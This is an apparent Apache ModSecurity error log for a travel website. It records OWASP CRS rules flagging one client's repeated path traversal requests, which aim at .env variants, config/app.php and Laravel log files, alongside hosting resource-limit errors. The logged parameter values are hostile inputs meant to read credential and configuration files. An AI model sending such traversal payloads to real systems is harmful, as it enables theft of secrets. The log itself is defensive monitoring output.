[Fri Jul 17 08:55:05.673115 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
[Fri Jul 17 08:55:05.673537 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfAAAABk"]
[Fri Jul 17 08:55:05.673567 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfAAAABk"]
[Fri Jul 17 08:55:05.674272 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
[Fri Jul 17 08:55:05.674383 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.674644 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfAAAABk"]
[Fri Jul 17 08:55:05.674677 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
[Fri Jul 17 08:55:05.674742 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.674989 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PfAAAABk"]
[Fri Jul 17 08:55:05.687371 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&sid=UAKFZ61HQwjys0EsI8OkMl1xHdP1BHrR8B0ykl_9qz5bqW3UyM7i8hi6idazF8uam0JenXxcYcRpev_UJJ-5zN7VAuoF57VLJC2HjnjYUpR0RI8Rt2YV6pscG4c2IQHUNYs99ry_UMuM0gMHuZYEMxUAixfCzaQmlnMk7ZENuv9Yq9w7F1dCWi5ORxfE5PzlnCtnjflFIP_Dwyqx4__6sFCyEreK8ejtTOM7kCTl49haRMaTTXwVuD2vO0hkbgrJcN0JyBI4zqTSL7nvRqFk9ZaM&ts=GRRNACY3M7HJOSB6QMAPA7EJDPMYUAQYZXWZH3QSTRKA7RN3MFQTTYFR42FFDVD5URCA5JCIE5ZL7LENULSKYAHWYPOQAZ2EYW6QTJ36JZPL5LTZN..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.687423 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.687469 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../storage/logs/laravel.log&sid=UAKFZ61HQwjys0EsI8OkMl1xHdP1BHrR8B0ykl_9qz5bqW3UyM7i8hi6idazF8uam0JenXxcYcRpev_UJJ-5zN7VAuoF57VLJC2HjnjYUpR0RI8Rt2YV6pscG4c2IQHUNYs99ry_UMuM0gMHuZYEMxUAixfCzaQmlnMk7ZENuv9Yq9w7F1dCWi5ORxfE5PzlnCtnjflFIP_Dwyqx4__6sFCyEreK8ejtTOM7kCTl49haRMaTTXwVuD2vO0hkbgrJcN0JyBI4zqTSL7nvRqFk9ZaM&ts=GRRNACY3M7HJOSB6QMAPA7EJDPMYUAQYZXWZH3QSTRKA7RN3MFQTTYFR42FFDVD5URCA5JCIE5ZL7LENULSKYAHWYPOQAZ2EYW6QTJ36JZPL5LTZNSTJWBPIHLFWM5RD4IO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.687520 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../storage/logs/laravel.log&sid=uakfz61hqwjys0esi8okml1xhdp1bhrr8b0ykl_9qz5bqw3uym7i8hi6idazf8uam0jenxxcycrpev_ujj-5zn7vauof57vljc2hjnjyupr0ri8rt2yv6pscg4c2iqhunys99ry_umum0gmhuzyemxuaixfczaqmlnmk7zenuv9yq9w7f1dcwi5orxfe5pzlnctnjflfip_dwyqx4__6sfcyerek8ejttom7kctl49harmattxwvud2vo0hkbgrjcn0jybi4zqtsl7nvrqfk9zam&ts=grrnacy3m7hjosb6qmapa7ejdpmyuaqyzxwzh3qstrka7rn3mfqttyfr42ffdvd5urca5jcie5zl7lenulskyahwypoqaz2eyw6qtj36jzpl5ltznstjwbpihlfwm5rd4io..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.687543 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.687569 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.688811 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.688983 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.689323 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.689377 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.689387 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBNwAAABs"]
[Fri Jul 17 08:55:05.702806 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfQAAABk"]
[Fri Jul 17 08:55:05.702853 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfQAAABk"]
[Fri Jul 17 08:55:05.704114 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfQAAABk"]
[Fri Jul 17 08:55:05.704290 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.704589 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PfQAAABk"]
[Fri Jul 17 08:55:05.705492 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjwAAAAQ"]
[Fri Jul 17 08:55:05.705535 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjwAAAAQ"]
[Fri Jul 17 08:55:05.706745 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjwAAAAQ"]
[Fri Jul 17 08:55:05.706910 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.707231 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkboj0IkvhSCYadmBjwAAAAQ"]
[Fri Jul 17 08:55:05.712947 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQwAAABI"]
[Fri Jul 17 08:55:05.712999 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQwAAABI"]
[Fri Jul 17 08:55:05.714207 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQwAAABI"]
[Fri Jul 17 08:55:05.714354 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.714672 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkV1_86A5R6msWNfUQwAAABI"]
[Fri Jul 17 08:55:05.719698 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfgAAABk"]
[Fri Jul 17 08:55:05.719744 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfgAAABk"]
[Fri Jul 17 08:55:05.719818 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:document: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfgAAABk"]
